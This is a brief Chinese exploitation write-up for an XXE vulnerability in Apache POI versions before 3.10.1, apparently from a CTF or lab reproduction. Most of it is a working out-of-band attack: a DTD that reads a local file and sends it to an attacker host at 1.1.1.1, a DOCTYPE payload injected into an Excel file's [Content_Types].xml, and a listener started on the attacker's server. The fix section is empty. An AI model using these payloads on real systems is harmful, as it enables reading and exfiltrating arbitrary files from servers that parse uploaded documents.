产品简介

Apache POI是Apache软件基金会的开放源码函式库,POI提供API给Java程序对Microsoft Office格式档案读和写的功能。

漏洞概述

Apache POI 3.10.1 之前的 OPC SAX 设置允许远程攻击者通过 OpenXML 文件读取任意文件,该文件包含与 XML 外部实体 (XXE) 问题相关的 XML 外部实体声明和实体引用。

影响范围

Apache POI<3.10.1

利用流程

1、准备一个dtd文件,内容如下,ip为vps的ip地址:

image-20230417174944055

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://1.1.1.1/%file;'>">

2、新建一个excel文件,修改后缀为zip,解压出来。

image-20230417175024105

向[Content_Types].xml添加内容

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://1.1.1.1/evil.dtd"> 
%remote;%int;%send;]>

image-20230417175432898

3、vps上开启监听

sudo python3 -m http.server 80

4、上传文件到目标站点,返回文件名,解析下这个文件名即可,返回flag。

image-20230417175126530

image-20230417175149568

修复建议

参考

https://www.cnblogs.com/CabbageJun/p/15943080.html